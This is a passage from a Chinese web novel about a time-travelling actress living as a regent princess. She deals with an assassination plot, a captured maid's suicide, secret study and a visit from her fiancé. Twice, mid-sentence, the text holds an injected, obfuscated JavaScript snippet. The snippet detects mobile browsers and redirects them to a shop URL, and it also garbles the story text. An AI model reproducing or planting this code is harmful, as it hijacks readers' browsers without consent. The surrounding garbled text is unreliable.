绿芙心中羞愧难当:“殿下之谋算远在奴婢之上,奴婢万不敢受此赏赐。” 萧令瑜:大妹子,你实在是太谦虚了,大可不必。笑着道:“这几天为着这些事都没有好好赏你,镯子先戴着,等这件事结束,我再另行赏赐。”拍了拍绿芙的手,将话题继续转到正事上,轻声道:“暗室关押的那些人,有真凶同样也有无辜的人。你给予他们每人足够谋生的钱财,然后将他们放走,勒令他们离京永不许再回。至于剩下的事,你自行安排吧。” 绿芙正襟危坐,沉声道:“是,奴婢明白。” 萧令瑜点了点头,心想,那她暂且等等,看看后面的事情会怎样发展。 须臾,绿芙从寝殿内出来,对旁边人道:“请卫典军到大堂来,就说殿下有事吩咐。”说罢抬腿往前头走去。过了一会后,绿芙和卫征在大堂处碰了面。 二人在府上共事多年,所以说话之间少了许多不必要的寒暄。卫征直接开口询问:“江掌事,殿下打算如何处置那些人?” 绿芙垂眸回答:“公主有令,将他们都放了。” “放了?”卫征明显一愣,根本想不出来这是公主会做的决定,迟疑道:“确定是将人放了,而不是移交大理寺吗?” 看到卫征疑惑的神情,绿芙微微一笑,露出些许的自得:“不,殿下亲口所说,要把他们全都放了。”言语微顿,向前走了一步,眯起眼睛,略微压低了声音,“不过,说是放了他们,但殿下其实另有打算...事情...需要典军大人去办。” 卫征原本还很不解,可听完绿芙的话之后,脑中茅塞顿开,“原来...如此...”正色道:“好,我这就安排人手。” 绿芙退后一步,轻声道:“那殿下就等卫典军的好消息了。” 4. 意料之外 公主府的办事的效率很高,头天晚上萧令瑜下的令,第二天早膳过后,绿芙就来向萧令瑜复命了。 萧令瑜咽下苦涩的汤药,拿起帕子擦了擦嘴角,“都离开了?” 绿芙:“是。奴婢命人给了他们每人白银百两,一早将其遣出府。卫典军也已经安排好了盯梢的人,一路查看他们的行踪。” 白银百两,以这个时代银钱的购买力来算,足够普通一户人家生活二三十年之久,给的不算少。 萧令瑜颔首,接着说起一事:“这次的事提醒了我一下。公主府已经很久不曾进行过清查了,如今正好理一理府上的人手。” 正所谓一朝被蛇咬十年怕井绳,萧令瑜也是怕了,要是公主府上还有混进来的什么细作啊、间谍啊,继续对她实行暗杀什么的,那不完犊子了吗。她这两天除了追凶以外就在想这件事,清查府上人员的章程堪堪在脑中理了个大概,现在正好实施下去。 绿芙也是想到了,待处置完那些人之后公主肯定要清理府上人员的,于是点头道:“是。” 萧令瑜:“府中无论是侍女、家丁,做饭的厨子、刺绣的绣娘,哪怕是送柴送炭的人都要一一核验身份才好。”想了下继续补充:“凡是有亲眷族人且情况属实者可以留下,至于没有出身且无法查明身份的,全部给予些许钱财遣散出府。” 绿芙思索了一番后道:“府中有些人出身奴籍,是从牙行购置或是自我典卖来的,这些人的身世情况怕是不易查。” 萧令瑜:“不易查那就干脆不查了,全部遣散。不过在这之前将卖身契什么的还给他们,并且给予一纸放良文书,他们可自行恢复良籍。”缓缓呼出一口气:“说起来他们也都是些苦命人,要么遭遇变故,要么生活困顿,所以才会典卖自身。多年来为奴为婢的,也是可怜。” 其实按照这个朝代的常理,买来的奴仆会比雇佣而来的更叫人放心。因为买来的人会入奴籍,也就是贱籍,会变成主家的个人财产,地位低下。纵使律法一定程度的保全了奴隶的一些权益,但总有漏洞可循,故而身在贱籍的奴仆们便是被主家肆意处罚责骂,甚至是虐待,也无处说理。可以说入了贱籍的奴仆被主家完完全全地拿捏。 但萧令瑜对这种常理的看法却不尽相同。道德层面上的问题暂且抛开不谈,只说安全上,买来的奴仆也不见得能让人放心。像这次公主遇害,水夫的嫌疑是最小的,因为他是良籍出身且有家室。至于寝殿和茶房的侍女,她们之中有两人是公主从宫内带出来的宫女。宫女么,入宫前都是要核查身份的,出来后在公主府上做事算是雇佣,嫌疑虽有但还算小。另外几人的嫌疑就很大了,她们要么是从牙行那买来的,要么是自我典卖来的,中间是否有所转手,又经历了什么都无从考证。 所以对于萧令瑜而言,有亲朋有出处的人更值得信任。毕竟人啊,总得有所顾虑,做事才会踟蹰再三。真要干掉脑袋的事,难道就不怕祸及亲友吗? “殿下宅心仁厚。”绿芙轻声道:“那府中暂缺的人手可要从田庄那边挑吗?” 萧令瑜想了下觉得可以。公主府有很多家业,其中光是洛阳附近的田庄就有四五个之多。田庄之下的农户没有一千也有八百,都在公主府的管辖范围之内。打那出来的人安全系数会高很多。 萧令瑜颔首:“你下去办吧。” 有了萧令瑜的吩咐,公主府清查人手的行动缓缓进行展开,不出几日,第一批要遣散的人员名单就送到了萧令瑜面前。绿芙按照轻重缓急先把萧令瑜近身伺候的人梳理了一遍。又过了几日,殿中新的侍女提拔了上来,有些人在公主的记忆里是熟面孔,以前在书房或是库房当过差。有些则是生面孔,说是田庄那边的庄吏挑了送来的,虽然手脚麻利但还需要调教。 萧令瑜看着这些人满意地点了点头:这些人算是她在这个陌生的朝代一手提携出来的基本班底了! 之后又过了大约十来天,公主府上的所有人员全部被查了个遍,萧令瑜从穿越至今时刻紧绷的神经终于有所缓和。 最基本的人身安全终于有保障了!芜湖! 为了庆祝这一件欢天喜地的大事,萧令瑜给全府上下都发了一个月的工资做赏钱,以此安抚上上下下,表示先前检查的事情过去了,不用再人心惶惶了。 但事实证明,萧令瑜高兴得有点太早了。当晚堂下,卫征单膝下跪,低着头禀报道:“属下无能,还请殿下恕罪。” 萧令瑜:......哦,把追凶这件事差点忘了。 过了一会,她开口问道:“是没发现什么异样,还是说把人给跟丢了。”要是前者,说明凶手比较谨慎,那侍卫可以继续潜伏监视。如果是后者,其实问题也不大,附上画像在全国范围内张贴告示,纵使抓不到人,也能让对方不敢轻易出现在人前。 卫征沉声回答:“属下将其抓了回来。” 哈?萧令瑜听得一头雾水:这是什么意思,什么叫把人抓了回来? 卫征继续补充道:“属下派人跟踪探查,其中有一名侍女形迹可疑。就在监视的过程中,那名侍女遭到了刺杀,杀手疑似幕后主使所派,可能是要...杀人灭口。” 萧令瑜心头一跳:你说什么?还有这事呢!!! —— 按照计划,在疑犯们出了公主府后,卫征就分别派人对他们进行了监视。短短几天时间内,这些人陆陆续续地都离开了洛阳,有的北上,有的南下,有的东行。唯有一名叫作巧绣的寝殿侍女形迹可疑。 一开始卫征并没有着重关注她,因为在洛阳城内时,巧绣的行踪还很正常,譬如去钱庄兑换了银票,再比如购置了成衣和干粮。后来她虽出了城,但却没有立刻离开洛京的管辖范围,而是在离洛阳城不远的一处村庄内,寻了一个破败的民宅暂居。 当时卫征从跟踪的侍卫口中得知了巧绣的行迹之后眉头就是一皱。正常人在经过此事之后应该会想着立马离开才对,更何况她都已经做好了远行的准备,怎么可能选择在附近的村庄落脚?若说是暂时投奔亲戚那还说得过去,但怎么着也不会在废弃的地方停歇。 这不符合常理! 除非......巧绣是在等人接应,又或者是在等幕后主使的指令。 既有了猜测,卫征便决定亲自前往村庄对其进行监视,而且为了不打草惊蛇,他只带了两个人过去。不曾想刚抵达村口就隐隐约约听到里头传来打斗声响。卫征心知不好,赶忙带人勒马过去,便见四五个蒙面杀手在夜色下和留下来监视巧绣的侍卫蒋山缠斗。 不过好在卫征等人及时赶到,原本颓唐的局势顿时发生逆转。那几个杀手不敌卫征他们,最后互相对视了一眼急忙退走,而惊魂未定的巧绣就这么被带了回来。 萧令瑜听完了事情的始末,抬眸问道:“可有人受伤?” 卫征道:“当时留下监视巧绣的蒋山受了几处刀伤,其他人只受了些拳脚轻伤,并无大碍。” “蒋山恪尽职守,赏二十两银子,要他好好养伤,其他人每人十两。”说完,萧令瑜深深地呼出一口气,低声道:“巧绣呢,带她过来。” 没一会的工夫,巧绣就被人带了进来。她双目无神地跪着,好像还没有从自己遇刺的事情上回神过来。 萧令瑜快速过了一遍公主脑中关于巧绣的记忆,轻声道:“巧绣,你进公主府也是四五年前的事了。记得那时你在公主府前卖身葬母,我看你可怜,叫人安葬了你的母亲,让你在府上做事。后来因为你勤恳本分,又擅女红,所以让你进寝殿当差,一晃这么些年过去了。” 回忆的话戛然而止,声音突然一变,冷冷地问道:“巧绣,这些年来我自问对你不薄,不想对我下毒手的人会是你。今时今日,你跪在我面前,难道就没有什么话对我说吗?” 听到萧令瑜的话,巧绣脸上闪过一丝痛苦,嘴唇动了动,可她依旧什么都没说,只是沉沉叩拜:“奴婢,罪该万死。” “你知道我想听的不是这个,”萧令瑜紧紧地盯着她,“我想知道是谁指使你的。” 面对这个问题,巧绣重重地闭上了眼,摆明了不想回答。 萧令瑜叹了一口气,自顾自的说道:“是藩王吗?你刚入府那会,先帝已然病入膏肓,是不是藩王指派你潜入公主府探听消息的?” 提到当年的事,巧绣的身形明显一凛,但还是咬紧了牙关。 萧令瑜侧着头看了她片刻,继续说道:“是谁?齐王,楚王,东海王?”紧接着摇了摇头下了结论,“不会是他们。” 如果巧绣是他们的人,那么早在前几年前公主和三王斗法的时候,巧绣就该行动了,绝不会等到现在。毕竟那三个王爷的坟头草都老高了,这个时候才选择报仇是不是反射弧有点长。 “所以,究竟是谁指派你的。难道真要用刑,你才肯说吗?” 眼见巧绣依旧不为所动,萧令瑜转变了思路,在精神层面上给她下了一剂猛药,摇了摇头感慨:“狡兔死,走狗烹;飞鸟尽,良弓藏。你对他忠心耿耿,冒着杀头的风险行刺,可换来的是什么呢?不过是被人当成废掉的棋子。你所效忠的主子比我更想杀了你。只看今夜,要不是侍卫及时赶到,你以为你还有命活着到公主府吗?” 听到萧令瑜这么说,巧绣突然笑了。当然,那不能称之为笑,因为面容上的苦涩和哀伤都能溢出水来,不多时眼中已是星光点点。 萧令瑜缓和了语气对她说:“只要你开口说出幕后主使,我可以对你从轻发落。”这么年轻的一个人,犯不着为了个过河拆桥的上司搭上自己啊!何必呢? 巧绣擦了擦眼角的泪水,“呵”了一声。再次抬起头来时,眼中闪过一丝决绝。她迅速抬手拔出了头上的簪子,直直地冲萧令瑜掷去。 萧令瑜没料到她竟然还敢行凶,眼眸瞬间瞪大。 “殿下小心。”就在这时,绿芙突然从后侧冲出,挡在了萧令瑜的面前。站在一旁的卫征也干脆利落地拔出刀抵挡在前。 萧令瑜的视线被这两人挡得结结实实,可是一时半会都没有听见什么响动。 “如何了?”她缓过神来后,赶忙询问,伸手推了推绿芙,想看下她和卫征有没有被刺伤。 绿芙依旧挡在她的前面,身形幅度极轻地动了动,声音正常地回答:“奴婢无事。不过...殿下勿要向前看。” 为什么? 萧令瑜听见绿芙的回答放松了一些,但好奇心却驱使着她透过二人中间的缝隙向前望去,接着她不由得瞳孔放大,身体僵硬。 只见巧绣倒在地上,原本要掷向萧令瑜的簪子依旧在她手中,只不过簪子的尖端却没在她的咽喉。血液从脖颈处喷涌而出,不多时汇成一团湖泊,在地板上蔓延,如同红蛇爬过的淹痕,隐隐约约透露着腥气。 萧令瑜被这种场景冲击的一时找不到魂,待到反应过来后第一反应就是扭过头加闭眼。 鼻尖传来的铁锈味告诉萧令瑜:这不是演戏,地上的那些红色的液体也不是道具组准备的加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585432|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了色素的糖浆。倒在地上的人更不会在导演喊卡之后麻利地爬起来,边抹边说这血浆可真黏。 谋害、刺杀,死亡...是这儿的常态。萧令瑜恍然对这个世界有了一点实感。 这就是公主所处的朝代,也是她接下来要生活的地方。 萧令瑜深深地呼吸了两下,待到呼吸平缓后,她咬着牙伸手将面前的二人推开:如果没有面对恐惧的勇气,那么下一个倒下去的人很有可能就是她自己。她要强迫自己熟悉这样的场景,逼迫自己快速的适应这样的环境! 卫征快步走到巧绣身边,蹲下试了试她脖颈间的脉搏,冲萧令瑜摇了摇头:“簪子刺入要害,已然没气了。” 绿芙蹙起眉头看着巧绣的尸体,接着看向萧令瑜。只见她的公主殿下毫无畏惧地看着巧绣的尸身,眼中幽暗无比。是了,是她想岔了,当年公主诛杀三王时是如何的腥风血雨,如今不过是区区一介细作的自尽,殿下又如何会放在眼里。 只不过...她不知道殿下在想什么,因为那副眼眸太过深邃,掺杂了她无法窥探的想法。 萧令瑜盯着巧绣的尸体看了许久许久,久到自己的眼睛都有些失焦、模糊。最后她慢慢闭上了眼,伸手抚额,强压着声音的颤抖,沉声道:“也算是个忠仆,把人好生安葬了吧。” 绿芙被这吩咐说得一愣,很快低着头道了句是。 萧令瑜没有多余的心思说话了,慢慢地站起身来抬腿向后面的寝殿走去。一直坚持走到寝殿的床边坐下,她才觉得自己的腿软透了,身体在止不住的发抖。 不要害怕,不要恐惧,要沉稳,要适应。 萧令瑜一遍又一遍的对自己说着。可是身体却还是不由自主的发颤,像极了濒死时的尸体,全身的细胞神经失去控制,进行最后的跳动。她努力的用被子将自己裹起来才觉得好一些。 最后她想:睡一觉吧,等睡过觉后看到第二天的太阳就什么都好了。 是的,没错。 第二天一早,萧令瑜坐在抱厦底下晒太阳,五月份的天空明媚得有些不像话。虽是迟来的阳光,但却驱散了萧令瑜身上因昨夜突发事件而带来的阴霾。 萧令瑜正晒着呢,不巧这时卫征求见,并递上了写着关于公主遇害、侍卫追凶,以及巧绣自尽身亡的折子。 萧令瑜:...... 有些事真不能回想,想起来就觉得身上一点热乎气都没有了。她不想看,最起码不想现在看,让绿芙接过,然后道:“待会盖过印章送去大理寺,届时跟他们说遇刺的事情结了。” 说完这些后,萧令瑜一时半会地也没心情晒太阳了,这种低落的情绪一直持续到午时用膳。膳桌上,萧令瑜迟迟没有动筷子,不是因为饭菜不可口,而是因为上头摆着一盘凉拌苋菜。 红色的,黏稠的汁液,又勾起了萧令瑜对于昨晚的回忆。 绿芙在一旁侍膳,试探性地说:“殿下食不下咽,可要让厨房重新做几样小菜?” 别折腾了,不是饭不好吃。萧令瑜摇了摇头:“不必。” “殿下可是因为没能查出主谋而担忧?”绿芙轻声问道。 萧令瑜:不,我是因为想起来昨天有人当着我的面死了,而且还是惨死。所以,我不高兴,我不痛快。 绿芙见萧令瑜沉默便以为自己说对了,“奴婢无能,不知如何替殿下分忧。”蹙起眉头关心地说道:“但殿下身体尚且虚弱,若是不好好用膳则如何休养,何时才能恢复呢?”她说着径直跪了下来,“奴婢斗胆进言,不管是陛下身边,还是朝堂之上,如何缺得了殿下呢?” 萧令瑜突然一怔。 公主遇刺的事情虽然成了个无头悬案,但事到如今也算是告一段落了。接下来她要面对的事情还有很多,比如说上朝。不过她总归是拥有公主的记忆,应该没有问题...的吧... 个屁。 目前为止,她遇到的人基本都能从公主的记忆里找到,所以认人说话这种事倒是不用愁,实在不行可以谨言慎行,大不了被人认为是故作高深么。可是总有避开不了的事情,比如跟大臣商讨国事。在这一点上,她必须要言之有物,不然服不了众。 那她可以吗? 完全不行啊! 萧令瑜惊讶地发现在公主的记忆里,虽然有背诵书籍、书写诗文或是查看奏折的场景,但是书籍的具体内容、治国的那些策略,印象都极其模糊,她顶多窥探到只言片语。 怎么会这样? 萧令瑜垂下眼去掩盖住自己的慌乱。 难道是因为她穿越过来的时候公主已经走了有一会了,所以那些记录着知识的脑细胞都死掉了?可为什么记忆还好好的? 一时间萧令瑜想不通,更不知道如果自己有的选的话,是公主的记忆重要还是学识更重要了。但不管怎样,现在有一个摆在她面前要解决的难题。 想到这里,她猛然看向绿芙,突然开口:“方才卫征的折子,你润色过后再送到大理寺。”想了下道:“便说巧绣昨夜趁人不备再次行刺,我受了惊吓,病情加重,身体虚弱,不知何时痊愈。”顿了顿,“此外,不论是谁前来拜访,一律不见。” 绿芙:??? 绿芙疑惑的神情很是明显,但萧令瑜只当自己看不见,不容置疑地道:“去办吧。” 她得给自己争取多一点的时间,至于为了什么,那当然...是为了学习。 在这个时代,她竟然成文盲了,真是不可原谅! 5. 学无止境 您可能要问了,用文盲两个字来形容萧令瑜是不是有点太过了。 那得要看跟谁比了。要是跟目不识丁的人比,那萧令瑜还算是个文化人。虽然这个大周朝跟萧令瑜所知的周朝不一样,甚至跟她所知的任何一个朝代都对不上号,但是大周的文字却跟现代的文字大差不差,她绝大部分都认识。 可要是跟朝中官员比呢?嘿!莫说是九品的低阶官员,哪怕是不入流的文书小吏,那也是饱读了诗书通过了科举考试,再经吏部铨选后任职授命的。更不要提朝中三品大员了,哪一个不是出口成章,能够引经据典。就萧令瑜现在的文化水平,往人家旁边一站,跟文盲也差不了多少。 那怎么办呢? 萧令瑜表示:知识又不是水,能灌到脑子里。还能咋办,学呗,背呗,能有啥好办法。 为了能够早日摆脱“文盲”这个身份,萧令瑜给自己制定了严格的学习计划:上午背书、下午练字,晚上睡觉前复习背过的书籍,还有时间的话就预习一下第二天的学习内容。 在这里,萧令瑜必须要感谢公主的书房藏书之多,无论是治国策论还是兵法文集,亦或是天文地理、农业百科,那真是应有尽有。 萧令瑜:感谢公主留下来的馈赠! 既然学习资料异常的充足,那接下来就要靠萧令瑜自身的学习能力了。 当然您可能又要问了:这种高强度的学习,萧令瑜受得住吗? 萧令瑜大手一挥:完全没有问题。 要知道,萧令瑜在重生之前可是个演员啊,而且还是一个十分敬业的演员。作为一名演员,背台词那是基本中的基本功。而且有时候拍戏进度比较快,连夜背词也是家常便饭。再加上她曾经出演过好几部古装剧、历史剧,所以背这些文言文完全没有问题。 所以,来吧,接受知识的冲刷吧eon! 萧令瑜合上手中的书籍,慢慢闭上了眼,然后在心里默默地背诵刚刚看过的段落。背完后,睁开眼核对,确定没有问题之后继续往下看,然后默读,偶尔口中念念有词。因为萧令瑜在背书,所以周遭伺候的人都比较静默,便是走动也十分轻盈。 过了许久,萧令瑜终于把这一篇文章背过了,将手中的书本放下,伸手揉了揉额角。须臾,绿芙派人上茶,轻声道:“殿下看书可看累了?奴婢替你揉捏眉目舒缓一下可好?” 那感情好。 萧令瑜“嗯”了一声,调整姿势乖乖伏在绿芙的膝头,专心致志地享受着头部按摩。过了一会,她还不忘找了个借口,轻声说道:“纵使闲暇时光亦不可荒废,更何况读史明智,温故而知新。”这就是她给自己找的读书的理由。 待中午用过午饭,又睡了大概一炷香左右,萧令瑜就要练习书法了。这对于萧令瑜来说也是一个困难的事情。 要说萧令瑜会不会写毛笔字,那还是会的。当时为了拍戏,她还特意报了一个书法速成班。只不过速成班嘛,大家懂的。而且反正也是拍戏,又不是转做书法家,所以会握笔,能摆出个大差不差的姿势,然后会写几个看得过去的字就行了。 但现在,因为毛笔字不精,萧令瑜却要面临着一个严峻的考验。 啥呢? 公主的笔迹! 萧令瑜压根无法复刻出公主的笔迹。这无疑是一个极大的破绽。 纵使萧令瑜已经很努力地模仿了,但要是将萧令瑜的笔迹和公主的笔迹拿出来一对比,就能发现两者有着明显的差距。而一个人的笔迹怎么可能会相差的如此之大呢? 一瞬间,萧令瑜调动了所有的脑细胞进行思考。她必须要弥补这一点,给公主的书法水平滑落得如此厉害找个合适的借口。为此,萧令瑜还特意演了一场戏。 那日初练字时,她先是写了几个字,接着重重地将毛笔放下,盯着写好的字看了几息,然后愤怒地将宣纸囫囵地扬了下去。做完这些,萧令瑜闭上了眼,重重地呼出一口气,做出克制压抑的模样。 这可是萧令瑜这些天第一次发这么大的脾气,可把身边伺候的人吓了一跳。 良久,萧令瑜睁开双眼,眸色阴沉,冷冷地道:“不忍直视!休养多日,却连笔墨之事都做不好了。” 绿芙回过神来,先是将地上的纸张捡起来,目光扫过上头的字迹,对萧令瑜为何如此愤怒有了猜测,故而轻声说道:“殿下莫恼。” 有人接茬,萧令瑜赶忙接着演下去,拂袖回答:“如何不恼,本宫的书法可是父皇与皇兄亲自教的。如今可好,不过是在生死之间走了一遭,便握笔无力,字迹更是潦草无神,瞧着还不如初入学堂的孩童随手涂鸦。” 亲!请一定要相信,相信我是因为被人谋害,身体还没有恢复好,再加上很长时间没写字了,所以字迹才发生变化的。 绿芙果然十分上道,在萧令瑜紧绷的精神上安抚了一把,柔声道:“殿下言重了。您突经此变故,也有一段时日不曾动过笔,笔力不济也在情理之中。” 对对对,我就是这个意思。 “是么。”萧令瑜缓和了一瞬,好像有被她这话安慰到:“罢了,慢慢来吧。” 稍后摆出一副受到打击但又收敛脾气的样子,感叹了一声:“业精于勤而荒于嬉。”抬眸吩咐,“将我先前常用的字帖拿来,我要勤加练习。” 有了这场戏的加持,萧令瑜可算给自己练习书法找了个合情合理的台阶,她终于可以肆无忌惮的练字了! 萧令瑜心中的小人双手叉腰,得意一笑:我可真是太机智了,必须给自己点赞! 之后一个月的时间里,萧令瑜的学习战绩可谓是硕果累累。虽然她背过的书还不算很多,但是最起码跟人唠两句政治话题不至于露怯,要是聊的话题在她背过的书上,她还能引个经据个典。 另外书法上,虽然还是跟公主之前的笔迹有差距,但也已有六七分像了。当然啦,学习这种事是没有止境滴,但滴水穿石,一点点来吧。总有一天,萧令瑜会完完全全变成公主原本的样子,甚至比公主还要优秀? 咳咳,我会朝着这个目标努力的,握拳。 萧令瑜暗暗给自己打气。 眨眼之间,便到了六月中旬,洛阳的天气突然变得炎热非常。不过幸好公主府不缺冰用,虽然论凉爽程度是比不上现代的空调,但也比干热着要强。 在这样酷热的日子里,萧令瑜依旧致力于自己的学习大业。早膳过后,照旧捧着书埋头苦读,若是累了,那就歇一歇用上一口绿芙送上来的樱桃酥酪,案桌上头还放着的清凉解暑的薄荷饮。 这样的日子可谓是既闲适又充实。 趁着萧令瑜停下歇息的工夫,绿芙捧着一摞帖子说道:“殿下,这是近几日门房收上来的问安帖。” 萧令瑜“唔”了一声。 公主原本在朝堂之上也是呼风唤雨的一号人物,现在病了自然有官员送上帖子表示问候。萧令瑜之前也看过几个问安帖,上头虽然咬文嚼字,但大概意思是“洛阳城内竟然有人行刺,这可真是一件骇人听闻的事,我不禁感到忧心忡忡。更听说您因此生了大病,只能在府上修养,我就更加忧心了。真希望我能代殿下受祸啊,您可一定要保重身体啊,巴拉巴拉......” 最近一个多月来,这样的帖子收了不下百份,而且翻来覆去都是差不多的内容。萧令瑜没有把这些帖子当一回事,更没有回复。笑话,她现在名义上是一个养病的人,怎么回复,有什么好回复的呢?随口道:“放着吧。” 绿芙答应了一声,捧着这些东西又出去了。不过在她过来之后,却给萧令瑜带来了一个不速之客的消息:“殿下,方才门房来报,说是裴氏长公子求见,人正在外厅等候。” 裴氏长公子? 萧令瑜瞬间一愣,脑海中关于裴氏以及裴家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585433|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长公子的事情立马翻涌起来。 大周朝世家林立,其中河东裴氏名列前茅,只因裴家出了一位开国功臣,裴旭。裴旭早些年追随公主的祖父与父亲征战天下,后来大周建立之初官至兵部侍郎、户部尚书,之后更是出任中书令一职,朝中官员皆称其一声裴相。后来公主的父亲去世,公主的哥哥登基,因其是三朝老臣而被信任非常。公主哥哥去世前,更是立下圣旨命中书令裴旭和门下省陈侍中一同辅政。 而今天到访的裴家长公子,裴钰,就是裴旭的长孙。 只不过裴家辉煌的时期已经过去,今时今日裴氏的门楣已然有些落寞,因为裴旭早已过世,而裴家在京中已然无人。 裴家的大房,裴钰的父亲裴修,原也是肩负裴家声名之人,曾任国子监祭酒,国子监的博士大多是他的师兄弟,底下也有不少门生。只是可惜裴修早亡,走的比裴旭还要早。至于裴家的二房,裴钰的叔父裴修,现为潞州刺史,并不在洛阳。 因而裴家在京中之人,只有这个裴家的长公子裴钰。他因门荫入仕,短短几年就已任职太仆寺少卿,若不是他祖父过世的突然,将来六部之中保不准会有他的一席之地,延续裴氏的荣光。 只看裴钰的家世履历,倒也称得上一句精彩,不过跟萧令瑜比起来还是稍显逊色,因此萧令瑜也用不着高看他一眼。 笑话,你是世家长公子,那我还是出身皇室且摄政的大长公主呢。一个“皇”字就能压别人一头,根本不用怕的。不过很快萧令瑜就笑不出来了,因为裴钰还有另一个身份,那就是公主的未婚夫。 未!婚!夫! 噼里啪啦。萧令瑜脑中阵阵电闪雷鸣。 我勒个去,这怎么办?我虽然成为了公主,也想过接公主的盘,但是不代表还要接公主未婚夫的盘啊! 不要慌,不要慌。萧令瑜立马稳住心神,对自己做了一番心理建设,并快速的想了一下接下来该怎么办。 靠,这婚事能不能退了? 哦,当然,还有一件迫在眉睫的事,那就是要不要见他。呵呵,那当然还是不见为好。所以萧令瑜异常干脆地说道:“不见。” 绿芙道了一声是,亲自出去传话。萧令瑜则还在原地凌乱着,甜点都觉得不香了。 过了一会,绿芙回来复命,迟疑着说:“殿下,裴少卿不肯离去,并希望我传句话给您。” 萧令瑜:“什么话?” “裴少卿给殿下贺喜,恭贺殿下得偿所愿。”绿芙轻声说道。 这话是什么意思??? 萧令瑜抬起头来和绿芙面面相觑。 萧令瑜:贺喜?有喜事吗,我怎么不知道!我倒觉得突然冒出来个未婚夫这种事真的是糟透了。不过,什么叫作得偿所愿?是我得偿所愿,还是公主曾经做了什么部署,现在得偿所愿?而且从绿芙的神情上看,也不难看出她也是一头的雾水。说明这个所谓的喜事,绿芙也不清楚。 萧令瑜左思右想,实在想不出究竟发生了什么事能让裴钰贸然到访,还说了这么一句云里雾里的话。你别说,还真引起了她的好奇。 这是一个在公主记忆中都搜索不到的事情,很有可能是一个新的消息。要不要试探着获取一下? 这么想着萧令瑜垂下眼,左右权衡了片刻,最后道:“那就请他进来吧。”停顿了一下,突然补充:“在堂内设一架屏风。” 第一,她不知道该怎么跟这个便宜未婚夫相处。第二,她对外的说辞是在养病,总不能像现在这样面色红润,气不虚心不跳地见客。这不就露馅了吗? 绿芙也是想到了,道了一声是,紧接着吩咐人搬屏风来。 很快,屏风设好。萧令瑜在屏风后面正襟危坐,过了一会,透过屏风隐隐约约看到一个修长的人影从外头走了进来。 须臾,对方俯身行礼,声音清冽:“裴钰见过公主殿下。” 6. 婚约毒药 既要见客,那就要作戏。既要作戏,那就得作全套。为了演出大病初愈的模样,萧令瑜特意准备了帕子,捂着嘴咳嗽了两下,接着发出沉闷且虚弱的声音:“免礼,赐座。” 裴钰从进来时就看到了那架高高的屏风,可谓将公主的身影挡了个严严实实。不过透过这架绘画着山水的屏风,却依旧能看到在后面端坐的人影。裴钰心中闪过一丝了然,垂下眼去,轻声道:“殿下休养多日,在下始终不得相见,心中甚是挂念,今日贸然到访,还请殿下勿怪。殿下如今身体可好些了?” 萧令瑜没想到他上来就说这些。这关心真是直白且肉麻,听的她浑身不舒服:古人都这么直抒胸臆的吗?继续干咳了两声,应付他说:“还是老样子,不好不坏罢了。” 裴钰自责道:“先前在下遣人送了些滋补良药,现在看来怕是那些药材于殿下无用。之后在下会着人再寻些珍贵药材送予殿下,希望殿下早日康复。” 萧令瑜:...... 这一个多月来她是收到了好些药材,一些是皇帝派人送的,一些是官员送的,估计裴家送来的也在其中。萧令瑜压根没有关注过这些,吩咐绿芙将这些东西收归库房就把这事抛之脑后了。 “你有心了。”萧令瑜轻声回答。别追问我到底吃没吃,问就是感谢你送药材过来。 稍后萧令瑜也不想再这么寒暄下去了,看着屏风后头跪坐的人影,正色道:“裴少卿今日前来,不只是为了聊表关心吧。”别说一些有的没的了,我们赶紧切入正题好吗? 裴钰淡淡一笑,也不继续周旋,干脆了当地回答:“在下今日前来,一是问殿下安,二则是向殿下道喜的。臣恭贺殿下多日筹谋得偿所愿。” 对,我想听的就是这个。只不过需要你说得再明白点! 萧令瑜不动声色地反问:“哦?众人皆知我此番遇害,身体虚弱,只能在府上静养。这喜从何来,筹谋二字又从何说起呢?” 裴钰听着萧令瑜不急不缓而又滴水不漏的话语,嘴角慢慢扬起,“在下于昨日收到一则消息。” 萧令瑜紧紧地看着他,赶忙询问:“什么消息?” 裴钰沉声回答:“听闻湘东王意图回京,已于三日前动身启程。” 萧令瑜脑门缓缓打出一个问号:湘东王?怎么又蹦出来个王爷。咳,容我把公主的家世完完全全地理一理先。 大周的国姓为萧,出身兰陵。当年天下大乱时,兰陵萧氏逐鹿天下,最后创建了大周。大周的初代创始人是公主的祖父,谥号英德。英德皇帝登基两载后去世,皇位传给了战功卓越的昭武皇帝也就是公主的父亲。昭武皇帝生平共生育了六子三女,公主在其中排行最小,乃是昭武皇帝的嫡幼女。 公主一母同胞的哥哥是昭武皇帝的嫡长子,也是大周的上一任皇帝,谥号文成。只不过公主的亲哥文成皇帝身体不好,登基不过三载就因病去世了。之后就发生了齐王、楚王、东海王,三王意图篡位的事。其中齐王排行老二,楚王排行老三,东海王排行老五。至于湘东王,他是公主的四哥。公主还有个弟弟,与她只相差半岁,封为汝南王。如今皇室宗室中的近支,就只剩下湘东王和汝南王两个。 萧令瑜拧起眉头重重地说道:“湘东王意图回京?消息属实吗?” 